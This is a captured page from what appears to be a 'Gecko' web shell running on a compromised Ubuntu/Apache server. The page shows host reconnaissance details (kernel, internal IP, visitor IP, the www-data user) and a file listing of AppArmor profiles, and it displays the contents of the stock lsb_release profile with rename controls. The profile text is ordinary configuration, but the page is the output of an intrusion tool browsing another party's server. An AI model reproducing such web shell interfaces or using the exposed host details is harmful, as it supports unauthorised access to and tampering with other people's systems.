Gecko [ tsuru-no-tsurugi.tokyo ]

Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.217.105
Domains : Cant Read [ /etc/named.conf ]
User : www-data

Name	Size	Permission	Date
abi	[ DIR ]	drwxr-xr-x	2025-12-31 20:39
abstractions	[ DIR ]	drwxr-xr-x	2025-12-31 20:39
disable	[ DIR ]	drwxr-xr-x	2024-02-17 03:50
force-complain	[ DIR ]	drwxr-xr-x	2023-06-06 03:58
local	[ DIR ]	drwxr-xr-x	2025-12-31 20:39
samba	[ DIR ]	drwxr-xr-x	2026-05-28 07:00
tunables	[ DIR ]	drwxr-xr-x	2025-12-31 20:39
lsb_release	1.31 KB	-rw-r--r--	2023-06-06 03:58
nvidia_modprobe	1.16 KB	-rw-r--r--	2025-08-15 21:17
sbin.dhclient	3.42 KB	-rw-r--r--	2023-02-01 04:07
ubuntu_pro_apt_news	2.02 KB	-rw-r--r--	2025-10-27 21:42
ubuntu_pro_esm_cache	7 KB	-rw-r--r--	2026-04-08 03:24
usr.bin.man	3.37 KB	-rw-r--r--	2022-03-18 04:03
usr.bin.tcpdump	1.65 KB	-rw-r--r--	2024-02-08 22:21
usr.lib.snapd.snap-confine.real	30.96 KB	-rw-r--r--	2026-07-10 20:48
usr.sbin.mysqld	1.96 KB	-rw-r--r--	2024-07-24 20:08
usr.sbin.rsyslogd	1.55 KB	-rw-r--r--	2021-11-16 18:31

Rename

# Note: This profile does not specify an attachment path because it is
# intended to be used only via "Px -> lsb_release" exec transitions from
# other profiles. We want to confine the lsb_release(1) utility when it
# is invoked from other confined applications, but not when it is used
# in regular (unconfined) shell scripts or run directly by the user.

abi <abi/3.0>,

include <tunables/global>

# Do not attach to /usr/bin/lsb_release by default
profile lsb_release {
  include <abstractions/base>
  include <abstractions/python>

owner @{PROC}/@{pid}/fd/ r,

/dev/tty rw,

/usr/bin/lsb_release r,
  /usr/bin/python3.{1,}[0-9] mr,

/etc/debian_version r,
  /etc/default/apport r,
  /etc/dpkg/origins/** r,
  /etc/lsb-release r,
  /etc/lsb-release.d/ r,

/{usr/,}bin/bash ixr,
  /{usr/,}bin/dash ixr,
  /usr/bin/basename ixr,
  /usr/bin/dpkg-query ixr,
  /usr/bin/getopt ixr,
  /usr/bin/sed ixr,
  /usr/bin/tr ixr,

# TODO - many more permissions needed for this to work
  deny /usr/bin/apt-cache x,

/usr/bin/ r,
  /usr/include/python*/pyconfig.h r,
  /usr/share/distro-info/** r,
  /usr/share/dpkg/** r,
  /usr/share/terminfo/** r,
  /var/lib/dpkg/** r,

# file_inherit
  deny /tmp/gtalkplugin.log w,

# Site-specific additions and overrides. See local/README for details.
  include if exists <local/lsb_release>
}